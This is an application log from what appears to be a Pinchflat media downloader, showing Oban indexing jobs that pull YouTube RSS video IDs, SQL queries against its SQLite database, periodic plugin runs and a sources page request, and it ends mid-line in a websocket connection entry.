["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 13:50:41.861 [debug] Streaming media item: dcbf5f18-d2d2-4574-b52c-badc1a56df4c from 1179648 to 131891169 13:50:41.861 [info] Sent 206 in 506µs 13:50:44.854 [info] {"args":{"id":2},"id":657,"meta":{},"system_time":1784901044854292160,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:50:44.855 [debug] QUERY OK source="sources" db=0.9ms idle=1078.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:50:44.856 [debug] QUERY OK source="settings" db=0.9ms idle=1079.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:44.857 [debug] QUERY OK source="media_profiles" db=0.9ms idle=1010.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:50:44.858 [debug] QUERY OK source="settings" db=0.9ms idle=9.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:44.858 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:50:45.177 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:50:45.178 [debug] QUERY OK source="media_items" db=1.2ms idle=323.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:50:45.179 [debug] QUERY OK source="media_items" db=0.2ms idle=323.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:50:45.180 [debug] QUERY OK source="tasks" db=0.1ms idle=321.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [660, 2, ~U[2026-07-24 13:50:45Z], ~U[2026-07-24 13:50:45Z]] 13:50:45.180 [info] {"args":{"id":2},"id":657,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":325925,"event":"job:stop","queue_time":356618,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:50:56.833 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:58.868 [info] {"args":{"id":1},"id":658,"meta":{},"system_time":1784901058868146907,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:50:58.868 [debug] QUERY OK source="sources" db=0.0ms idle=92.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:50:58.868 [debug] QUERY OK source="settings" db=0.0ms idle=92.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:58.868 [debug] QUERY OK source="media_profiles" db=0.0ms idle=92.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:50:58.868 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:50:58.868 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:50:59.099 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:50:59.100 [debug] QUERY OK source="media_items" db=0.4ms idle=231.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:50:59.103 [debug] QUERY OK source="media_items" db=2.1ms idle=232.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:50:59.103 [debug] QUERY OK source="tasks" db=0.0ms idle=234.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [661, 1, ~U[2026-07-24 13:50:59Z], ~U[2026-07-24 13:50:59Z]] 13:50:59.103 [info] {"args":{"id":1},"id":658,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":235541,"event":"job:stop","queue_time":422744,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:51:00.573 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:13.883 [info] {"args":{"id":3},"id":659,"meta":{},"system_time":1784901073883263573,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:51:13.883 [debug] QUERY OK source="sources" db=0.1ms idle=1107.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:51:13.883 [debug] QUERY OK source="settings" db=0.1ms idle=1007.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:13.883 [debug] QUERY OK source="media_profiles" db=0.0ms idle=107.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:51:13.884 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:51:13.884 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:51:14.048 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:51:14.049 [debug] QUERY OK source="media_items" db=0.5ms idle=165.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:51:14.053 [debug] QUERY OK source="media_items" db=3.4ms idle=166.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:51:14.054 [debug] QUERY OK source="tasks" db=0.0ms idle=170.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [662, 3, ~U[2026-07-24 13:51:14Z], ~U[2026-07-24 13:51:14Z]] 13:51:14.054 [info] {"args":{"id":3},"id":659,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":171506,"event":"job:stop","queue_time":418324,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:51:26.834 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:56.835 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.573 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:26.836 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:56.837 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.574 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:26.838 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:56.839 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.576 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:26.840 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:56.841 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.576 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:26.842 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:56.843 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.577 [info] {"source":"oban","duration":150,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:26.844 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:56.845 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.578 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:26.846 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:56.847 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.579 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:26.848 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:52.716 [info] GET /sources 13:58:52.716 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 13:58:52.716 [debug] QUERY OK source="settings" db=0.0ms idle=1940.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:52.717 [debug] QUERY OK source="settings" db=0.0ms idle=1941.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:52.717 [debug] QUERY OK source="settings" db=0.0ms idle=1941.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:52.717 [debug] QUERY OK source="settings" db=0.0ms idle=1377.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:52.717 [debug] QUERY OK source="settings" db=0.0ms idle=376.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:58:52.722 [debug] QUERY OK source="sources" db=4.3ms idle=0.7ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 13:58:52.727 [debug] QUERY OK source="sources" db=4.8ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 13:58:52.728 [info] Sent 200 in 11ms 13:58:52.756 [info] CONNECTED TO Phoenix.LiveView.Socket in 13µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "EgA7MwARGhx6H1M2ckwBBRRmKgt3J2F0TILCwZHV128W06ytVKflOS97", 